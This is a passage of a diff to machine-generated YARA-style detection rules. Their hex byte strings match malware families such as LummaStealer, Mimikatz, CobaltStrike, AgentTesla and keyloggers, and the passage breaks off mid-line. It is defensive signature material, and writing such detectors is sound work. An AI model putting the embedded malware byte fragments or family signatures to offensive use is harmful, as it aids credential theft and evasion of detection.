5c 44 65 66 61 75 6c 74 00 00 78 6e 00 00 04 00 04 00 04 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 47 61 63 6b 6e 65 64 73 2e 42 21 64 68 61 00 01 00 07 01 b8 b7 0b 00 00 3b c8 01 00 09 01 81 } //384 + $a_69_3 = {53 74 61 30 5c 44 65 66 61 75 6c 74 00 00 78 6e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 41 31 32 21 4d 54 42 00 01 00 0e 81 01 76 65 6b 73 65 6c 73 74 72 6d 6d 65 6e 65 01 00 0e 81 01 70 72 65 6c 69 74 65 } //384 condition: ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*20993+(#a_69_3 & 1)*384) >=4 } -rule _InfrastructureShared_6731{ +rule _InfrastructureShared_7094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 72 64 6f 6e 2e 41 21 64 68 61 00 01 00 0a 80 01 4d 79 53 74 75 62 50 61 74 68 01 00 0b 80 01 4d 63 70 52 6f 78 79 2e 65 78 65 01 00 0d 80 01 72 61 74 5f 55 6e 49 6e 73 74 61 6c 6c 01 00 0f 80 01 57 69 } //18467 - $a_61_1 = {5c 44 65 66 61 75 6c 74 00 00 78 6e 00 00 04 00 04 00 04 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 47 61 63 6b 6e 65 64 73 2e 42 21 64 68 61 00 01 00 07 01 b8 b7 0b 00 00 3b c8 01 00 09 01 81 39 57 04 00 00 0f 94 c0 01 00 10 00 70 00 72 00 65 00 66 00 73 00 2e 00 6a 00 73 00 01 00 07 01 63 } //21358 - $a_65_2 = {65 00 00 78 6e 00 00 04 00 04 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4b 72 61 64 64 61 72 65 00 01 00 07 80 01 75 74 69 6c 6d 6f 6e } //25709 - $a_80_3 = {61 75 74 6f 75 74 69 6c } //autoutil 1 + $a_61_1 = {5c 44 65 66 61 75 6c 74 00 00 78 6e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 41 31 32 21 4d 54 42 00 01 00 0e 81 01 76 65 6b 73 65 6c 73 74 72 6d 6d 65 6e 65 01 00 0e 81 01 70 72 65 6c 69 74 65 72 61 6c 6e 65 73 73 01 00 0c 81 01 73 69 67 74 65 65 76 6e 65 72 6e 65 01 00 0a 81 01 72 61 6d 6d } //21358 + $a_76_2 = {6e 00 00 78 6e 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 50 6c 61 79 61 6e 65 78 74 00 02 00 16 80 01 50 6c 61 79 61 4e 65 78 74 4f 66 66 65 72 56 69 65 77 2e 63 70 70 01 00 10 80 01 70 6c 61 79 61 2d 6e 65 78 74 2d 6f 66 66 65 72 01 00 0d 80 01 6f 70 74 69 6f 6e 61 6c 6f 66 66 65 72 01 00 09 80 01 50 44 46 5f 53 } //27749 + $a_65_3 = {00 78 6e 00 00 04 00 04 00 04 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 47 61 63 6b 6e 65 64 73 2e 42 21 64 68 61 00 01 00 07 01 b8 b7 0b 00 00 3b c8 01 00 09 01 81 39 57 04 00 00 0f 94 c0 01 00 10 00 70 00 72 00 65 00 66 00 73 00 2e 00 6a 00 73 00 01 00 07 01 63 6d 64 2e 65 78 65 00 00 78 } //26997 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*21358+(#a_65_2 & 1)*25709+(#a_80_3 & 1)*1) >=4 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*21358+(#a_76_2 & 1)*27749+(#a_65_3 & 1)*26997) >=4 } -rule _InfrastructureShared_6732{ +rule _InfrastructureShared_7095{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 41 31 32 21 4d 54 42 00 01 00 0e 81 01 76 65 6b 73 65 6c 73 74 72 6d 6d 65 6e 65 01 00 0e 81 01 70 72 65 6c 69 74 65 72 61 6c 6e 65 73 73 01 00 0c 81 01 73 69 67 74 65 65 76 6e 65 72 6e 65 01 00 } //18467 + $a_72_1 = {6d } //-32502 m + $a_6f_2 = {65 6e 00 00 78 6e 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 50 6c 61 79 61 6e 65 78 74 00 02 00 16 80 01 50 6c 61 79 61 4e 65 78 74 4f 66 66 65 72 56 69 65 77 2e 63 70 70 01 00 10 80 01 70 6c 61 79 61 2d 6e 65 78 74 2d 6f 66 66 65 72 01 00 0d 80 01 6f 70 74 69 6f 6e 61 6c 6f 66 66 65 72 01 00 09 80 01 50 } //25965 + $a_53_3 = {69 74 65 00 00 78 6e 00 00 04 00 04 00 04 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 47 61 63 6b 6e 65 64 73 2e 42 21 64 68 61 00 01 00 07 01 b8 b7 0b 00 00 3b c8 01 00 09 01 81 39 57 04 00 00 0f 94 c0 01 00 10 00 70 00 72 00 65 } //17988 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*-32502+(#a_6f_2 & 1)*25965+(#a_53_3 & 1)*17988) >=4 + +} +rule _InfrastructureShared_7096{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 50 6c 61 79 61 6e 65 78 74 00 02 00 16 80 01 50 6c 61 79 61 4e 65 78 74 4f 66 66 65 72 56 69 65 77 2e 63 70 70 01 00 10 80 01 70 6c 61 79 61 2d 6e 65 78 74 2d 6f 66 66 65 72 01 00 0d 80 01 6f 70 74 69 6f 6e 61 6c 6f 66 66 65 72 01 00 09 } //20515 + $a_44_1 = {5f 53 75 69 74 65 00 00 78 6e 00 00 04 00 04 00 04 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 47 61 63 6b 6e 65 64 73 2e 42 21 64 68 61 00 01 00 07 01 b8 b7 0b 00 00 3b c8 01 00 09 01 } //384 + $a_04_2 = {00 00 0f 94 c0 01 00 10 00 70 00 72 00 65 00 66 00 73 00 2e 00 6a 00 73 00 01 00 07 01 63 6d 64 2e 65 78 65 00 00 78 6e 00 00 04 00 04 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4b 72 61 64 64 61 72 65 00 01 00 07 80 01 75 74 69 6c 6d 6f 6e 01 00 08 80 01 61 } //14721 + $a_75_3 = {69 6c 01 00 09 80 01 75 74 69 6c 6d 61 6e 69 61 01 00 15 02 75 00 74 00 69 00 6c 00 90 02 04 2e 00 63 00 6f 00 6d 00 90 00 01 00 0d 02 75 74 69 6c 90 02 04 2e 63 6f 6d 90 00 00 00 78 6e 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 45 41 58 45 21 4d 54 42 00 05 00 3c } //29813 + condition: + ((#a_41_0 & 1)*20515+(#a_44_1 & 1)*384+(#a_04_2 & 1)*14721+(#a_75_3 & 1)*29813) >=4 + +} +rule _InfrastructureShared_7097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -70327,7 +74166,7 @@ rule _InfrastructureShared_6732{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*112+(#a_00_2 & 1)*111) >=4 } -rule _InfrastructureShared_6733{ +rule _InfrastructureShared_7098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -70335,13 +74174,13 @@ rule _InfrastructureShared_6733{ $a_41_0 = {42 6c 6f 63 6b 3a 4b 72 61 64 64 61 72 65 00 01 00 07 80 01 75 74 69 6c 6d 6f 6e 01 00 08 80 01 61 75 74 6f 75 74 69 6c 01 00 09 80 01 75 74 69 6c 6d 61 6e 69 61 01 00 15 02 75 00 74 00 69 00 6c 00 90 02 04 2e 00 63 00 6f 00 6d 00 90 00 01 00 0d 02 75 74 } //20515 $a_02_1 = {04 2e 63 6f 6d 90 00 00 00 78 6e 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 45 41 58 45 21 4d 54 42 00 05 00 3c 01 73 dc 00 00 06 0c 08 02 07 03 28 ad 01 00 06 6f db 00 00 06 08 02 07 03 28 ae 01 00 06 6f d9 00 00 06 06 6f c8 01 00 06 08 6f 40 01 00 0a 07 17 58 0b 07 02 03 28 ac 01 00 06 32 c4 00 00 78 6e 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //27753 $a_53_2 = {4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 53 48 4c 5a 21 4d 54 42 00 05 00 38 01 25 16 02 20 00 00 ff 00 5f 1f 10 63 20 ff 00 00 00 5f d2 9c 25 17 02 20 00 ff 00 00 5f 1e 63 20 ff 00 00 00 5f d2 9c 25 18 02 20 ff 00 00 00 } //14958 - $a_00_3 = {00 00 5f d2 9c 00 00 78 6e 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 45 41 43 43 21 4d 54 42 00 05 00 3f 01 09 11 04 9a 13 05 11 05 73 89 01 00 0a 6f 94 01 00 0a 13 06 11 06 6f 47 00 00 0a 1f 10 33 13 06 11 06 28 da 00 00 0a 13 07 11 05 11 07 28 5e 04 00 06 11 04 17 58 13 04 11 04 09 8e 69 32 c1 00 00 78 6e 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 41 53 4b 21 4d 54 42 00 05 00 3a 03 40 00 00 e0 90 01 08 00 10 00 00 00 90 01 02 00 00 90 01 01 00 00 00 90 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 00 00 00 78 6e 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 45 78 70 6c } //8287 - $a_3a_4 = {69 6e 33 32 2f 43 61 6c 6c 50 6c 75 73 46 6f 75 72 58 6f 72 2e 41 00 05 00 14 03 e8 ff ff ff ff c0 5e 81 76 0e 90 01 04 83 ee fc e2 f4 90 00 01 00 24 00 33 66 61 32 62 38 36 30 2d 34 36 38 35 2d 34 31 62 61 2d 39 39 30 37 2d 34 34 66 63 32 38 64 30 38 35 61 38 00 00 78 6e 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //26991 + $a_00_3 = {00 00 5f d2 9c 00 00 78 6e 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 50 47 4a 55 21 4d 54 42 00 05 00 3e 01 35 39 39 35 33 37 36 38 00 30 31 43 37 31 43 39 31 00 30 32 44 33 31 37 38 46 00 32 45 38 31 36 32 39 44 00 35 33 45 42 31 43 46 45 00 32 44 38 30 31 30 45 45 00 37 30 34 46 31 35 44 39 00 00 78 6e 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 61 6c 6c 50 6c 75 73 46 6f 75 72 58 6f 72 2e 41 00 05 00 14 03 e8 ff ff ff ff c0 5e 81 76 0e 90 01 04 83 ee fc e2 f4 90 00 01 00 24 00 33 66 61 32 62 38 36 30 2d 34 36 38 35 2d 34 31 62 61 2d 39 39 30 37 2d 34 34 66 63 32 38 64 30 38 35 61 38 00 00 78 6e 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a } //8287 + $a_4d_4 = {49 4c 2f 4b 72 79 70 74 2e 50 47 54 21 4d 54 42 00 01 00 25 03 02 03 04 6f ?? 00 00 0a 0c 0e 04 05 6f ?? 00 00 0a 59 0d 08 09 05 28 ?? 00 00 06 00 2a } //28257 condition: - ((#a_41_0 & 1)*20515+(#a_02_1 & 1)*27753+(#a_53_2 & 1)*14958+(#a_00_3 & 1)*8287+(#a_3a_4 & 1)*26991) >=4 + ((#a_41_0 & 1)*20515+(#a_02_1 & 1)*27753+(#a_53_2 & 1)*14958+(#a_00_3 & 1)*8287+(#a_4d_4 & 1)*28257) >=4 } -rule _InfrastructureShared_6734{ +rule _InfrastructureShared_7099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -70351,7 +74190,7 @@ rule _InfrastructureShared_6734{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_6735{ +rule _InfrastructureShared_7100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -70361,27 +74200,17 @@ rule _InfrastructureShared_6735{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_6736{ +rule _InfrastructureShared_7101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 45 41 43 43 21 4d 54 42 00 05 00 3f 01 09 11 04 9a 13 05 11 05 73 89 01 00 0a 6f 94 01 00 0a 13 06 11 06 6f 47 00 00 0a 1f 10 33 13 06 11 06 28 da 00 00 0a 13 07 11 05 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=5 - -} -rule _InfrastructureShared_6737{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 41 53 4b 21 4d 54 42 00 05 00 3a 03 40 00 00 e0 90 01 08 00 10 00 00 00 90 01 02 00 00 90 01 01 00 00 00 90 01 02 00 00 00 00 00 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 50 47 4a 55 21 4d 54 42 00 05 00 3e 01 35 39 39 35 33 37 36 38 00 30 31 43 37 31 43 39 31 00 30 32 44 33 31 37 38 46 00 32 45 38 31 36 32 39 44 } //21539 condition: ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_6738{ +rule _InfrastructureShared_7102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -70392,19 +74221,32 @@ rule _InfrastructureShared_6738{ ((#a_4c_0 & 1)*21539+(#a_35_1 & 1)*13876) >=5 } -rule _InfrastructureShared_6739{ +rule _InfrastructureShared_7103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 2e 50 47 54 21 4d 54 42 00 01 00 25 03 02 03 04 6f 90 01 01 00 00 0a 0c 0e 04 05 6f 90 01 01 00 00 0a 59 0d 08 09 05 28 90 01 01 00 00 06 00 2a 90 00 02 00 } //21539 $a_74_1 = {74 } //-32757 t - $a_73_2 = {6f 72 64 02 00 08 80 01 74 78 74 45 6d 61 69 6c 00 00 78 6e 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 69 6d 69 6b 61 74 7a 2e 41 21 4d 54 42 00 02 00 0f 01 43 6f 6e 73 6f 6c 65 41 70 70 32 2e 70 64 62 02 00 0d 01 4d 69 6d 69 6b 61 74 7a 2d 6d 61 69 6e 02 00 1d 01 45 78 65 63 75 74 69 6e 67 50 6f 77 65 72 } //24912 + $a_73_2 = {6f 72 64 02 00 08 80 01 74 78 74 45 6d 61 69 6c 00 00 78 6e 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 44 6f 77 6e 6c 6f 61 64 41 64 6d 69 6e 00 02 00 0d 80 01 6c 75 61 2d 75 73 65 72 73 2e 6f 72 67 01 00 14 80 01 73 74 61 72 74 49 6e 74 65 67 72 61 74 65 64 4f 66 66 65 72 01 00 0b 80 01 55 41 43 49 6e 66 6f 2e 70 64 62 01 00 } //24912 condition: ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*-32757+(#a_73_2 & 1)*24912) >=5 } -rule _InfrastructureShared_6740{ +rule _InfrastructureShared_7104{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 44 6f 77 6e 6c 6f 61 64 41 64 6d 69 6e 00 02 00 0d 80 01 6c 75 61 2d 75 73 65 72 73 2e 6f 72 67 01 00 14 80 01 73 74 61 72 74 49 6e 74 65 67 72 61 74 65 64 4f 66 66 65 72 01 00 0b 80 01 55 41 43 49 6e 66 6f 2e 70 64 62 01 00 0c 80 01 70 } //20515 + $a_69_1 = {65 73 2e 69 6e 69 00 00 78 6e 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 69 6d 69 6b 61 74 7a 2e 41 21 4d 54 42 00 02 00 0f 01 43 6f 6e 73 6f 6c 65 41 70 70 32 2e 70 64 62 02 00 0d 01 4d 69 6d 69 6b 61 74 7a 2d 6d 61 69 6e 02 00 1d 01 45 78 65 63 75 74 69 6e 67 50 6f } //28530 + $a_53_2 = {65 6c 6c 46 72 6f 6d 4d 65 6d 6f 72 79 00 00 78 6e 00 00 07 00 02 00 02 00 21 23 48 53 54 52 3a 55 6c 65 75 78 21 6c 6f 66 69 00 01 00 2b 01 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 41 68 6e 4c 61 62 5c 56 33 4c 69 74 65 33 30 5c 55 6e 69 6e 73 74 2e 65 78 65 01 00 1f 01 53 5f 54 5f 41 5f 52 5f 54 5f 53 5f 4e 5f 49 5f 46 5f 46 5f } //25975 + $a_5f_3 = {5f 40 5f 40 5f 21 00 00 02 00 78 6e 00 00 07 00 07 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4e 45 41 41 21 4d 54 42 00 05 00 2b 01 41 f7 e0 41 8b c0 2b c2 d1 e8 03 c2 c1 e8 05 0f be } //24389 + condition: + ((#a_41_0 & 1)*20515+(#a_69_1 & 1)*28530+(#a_53_2 & 1)*25975+(#a_5f_3 & 1)*24389) >=5 + +} +rule _InfrastructureShared_7105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -70416,7 +74258,7 @@ rule _InfrastructureShared_6740{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28496+(#a_40_2 & 1)*8543) >=6 } -rule _InfrastructureShared_6741{ +rule _InfrastructureShared_7106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 02 00 02 00 21 " @@ -70427,18 +74269,28 @@ rule _InfrastructureShared_6741{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*24389) >=2 } -rule _InfrastructureShared_6742{ +rule _InfrastructureShared_7107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4e 45 41 41 21 4d 54 42 00 05 00 2b 01 41 f7 e0 41 8b c0 2b c2 d1 e8 03 c2 c1 e8 05 0f be c0 6b c8 37 41 8a c0 2a c1 04 34 41 30 01 44 03 c6 4c 03 ce } //16675 - $a_15_1 = {d0 02 00 0a 01 6c 69 62 76 6c 63 5f 6e 65 77 00 00 78 6e 00 00 08 00 08 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 52 46 21 4d 54 42 00 02 00 06 81 01 43 72 65 61 74 65 02 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 02 00 0e 81 01 47 65 74 53 74 72 65 61 6d 41 73 79 6e 63 02 00 0b 81 01 73 65 74 5f 4b 65 79 53 69 7a 65 00 00 78 6e 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 52 53 21 4d 54 42 00 0a 00 41 03 91 06 07 06 8e 69 6a 5d 28 90 02 09 91 61 02 07 17 6a 58 02 8e 69 6a 5d 28 90 02 09 91 59 6a 20 00 01 00 00 6a 58 20 00 01 00 00 6a 5d d2 9c 07 17 6a 58 0b 07 02 8e 69 17 59 6a 03 17 58 6e 90 00 00 00 78 6e 00 } //-31935 + $a_15_1 = {d0 02 00 0a 01 6c 69 62 76 6c 63 5f 6e 65 77 00 00 78 6e 00 00 07 00 07 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 63 6b 4c 6f 61 64 65 72 2e 41 00 04 00 2f 00 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 20 53 68 69 74 74 69 6e 67 4d 79 50 61 6e 74 73 28 54 4d 29 20 4d 6f 64 75 6c 65 2e 64 6c 6c 03 00 0f 01 48 8b 05 81 9a 22 00 48 33 c4 48 89 44 24 50 00 00 78 6e 00 00 08 00 08 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 52 46 21 4d 54 42 00 02 00 06 81 01 43 72 65 61 74 65 02 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 02 00 0e 81 01 47 65 74 53 74 72 65 61 6d 41 73 79 6e 63 02 00 0b 81 01 73 65 74 5f 4b 65 79 53 69 7a 65 00 00 78 6e 00 } //-31935 condition: ((#a_46_0 & 1)*16675+(#a_15_1 & 1)*-31935) >=7 } -rule _InfrastructureShared_6743{ +rule _InfrastructureShared_7108{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 63 6b 4c 6f 61 64 65 72 2e 41 00 04 00 2f 00 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 20 53 68 69 74 74 69 6e 67 4d 79 50 61 6e 74 73 28 54 4d 29 20 4d 6f 64 75 6c 65 2e 64 6c } //21283 + condition: + ((#a_46_0 & 1)*21283) >=7 + +} +rule _InfrastructureShared_7109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -70451,7 +74303,7 @@ rule _InfrastructureShared_6743{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385+(#a_58_2 & 1)*874+(#a_6e_3 & 1)*27247) >=8 } -rule _InfrastructureShared_6744{ +rule _InfrastructureShared_7110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -70461,7 +74313,7 @@ rule _InfrastructureShared_6744{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_6745{ +rule _InfrastructureShared_7111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -70471,7 +74323,7 @@ rule _InfrastructureShared_6745{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6746{ +rule _InfrastructureShared_7112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " @@ -70479,26 +74331,37 @@ rule _InfrastructureShared_6746{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 32 30 31 21 4d 54 42 00 0a 00 07 01 20 00 7c 00 00 fe 04 01 00 08 81 01 54 6f 53 74 72 69 6e 67 02 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 07 81 01 54 6f 41 72 72 61 } //18467 $a_6f_2 = {69 6e 33 32 00 00 78 6e 00 00 0e 00 0e 00 05 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 46 72 65 62 6e 69 69 73 2e 41 00 0a 00 10 01 74 21 48 ff c3 4c 8d 46 f6 4c 2b c3 ba 2f 00 00 01 00 08 01 77 33 77 70 2e 65 78 65 01 00 0b 01 69 69 73 66 72 65 62 2e 64 } //385 $a_00_3 = {0b } //27756 - $a_6f_4 = {6f 6e 2e 61 73 70 78 01 00 0d 01 2f 64 65 66 61 75 6c 74 2e 61 73 70 78 00 00 78 6e 00 00 0f 00 0f 00 03 00 21 23 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 4d 69 73 6e 61 6d 65 64 4d 69 6e 69 75 6e 7a 00 05 00 0e 01 4d 69 6e 69 55 6e 7a 20 31 2e 30 31 62 2c 05 00 18 01 69 6e 20 75 6e 7a 47 65 74 43 75 72 72 65 6e 74 46 69 } //12033 + $a_6f_4 = {6f 6e 2e 61 73 70 78 01 00 0d 01 2f 64 65 66 61 75 6c 74 2e 61 73 70 78 00 00 78 6e 00 00 0f 00 0f 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 64 69 65 2e 4b 4b 21 4d 54 42 00 05 00 1d 03 8b c3 c1 e0 10 25 ff ff ff 7f 0b 05 90 01 02 21 00 89 46 48 8b c3 48 83 c4 28 5b 90 00 0a 00 21 01 48 83 ec } //12033 condition: ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*385+(#a_00_3 & 1)*27756+(#a_6f_4 & 1)*12033) >=13 } -rule _InfrastructureShared_6747{ +rule _InfrastructureShared_7113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " strings : $a_4c_0 = {57 69 6e 36 34 2f 46 72 65 62 6e 69 69 73 2e 41 00 0a 00 10 01 74 21 48 ff c3 4c 8d 46 f6 4c 2b c3 ba 2f 00 00 01 00 08 01 77 33 77 70 2e 65 78 65 01 00 0b 01 69 69 73 66 72 65 62 2e 64 6c 6c 01 00 0b 01 2f } //21539 - $a_6f_1 = {2e 61 73 70 78 01 00 0d 01 2f 64 65 66 61 75 6c 74 2e 61 73 70 78 00 00 78 6e 00 00 0f 00 0f 00 03 00 21 23 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 4d 69 73 6e 61 6d 65 64 4d 69 6e 69 75 6e 7a 00 05 00 0e 01 4d 69 6e 69 55 6e 7a 20 31 2e 30 31 62 2c 05 00 18 01 69 6e 20 75 6e 7a 47 65 74 43 75 72 72 65 6e } //28524 - $a_6c_2 = {49 6e 66 6f 05 00 14 01 55 73 61 67 65 20 3a 20 6d 69 6e 69 75 6e 7a 20 5b 2d 65 5d 00 00 78 6e 00 00 10 00 10 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 58 6c 6c 44 6f 77 6e 6c 6f 61 64 65 72 2e 42 00 0a 00 1e 80 01 3c 65 78 74 65 72 6e 61 6c 6c 69 62 72 61 72 79 20 70 61 74 68 3d 22 70 61 } //18036 - $a_64_3 = {03 00 0c 80 01 65 78 63 65 6c 64 6e 61 2e 78 6c 6c 03 00 0a 80 01 78 6c 61 75 74 6f 6f 70 65 6e 00 00 78 6f 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 53 30 34 00 01 00 3d 03 f6 c4 41 75 10 68 90 01 02 00 00 8d 95 90 01 } //27491 - $a_ff_4 = {83 c4 04 8a 86 90 01 04 8a 15 90 01 04 32 c2 3c 3a 88 84 35 90 01 02 ff ff 77 09 fe c8 88 84 35 90 01 02 ff ff 46 eb 90 00 00 00 78 6f 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 53 33 00 01 00 3e 01 8a 0c 31 32 c8 32 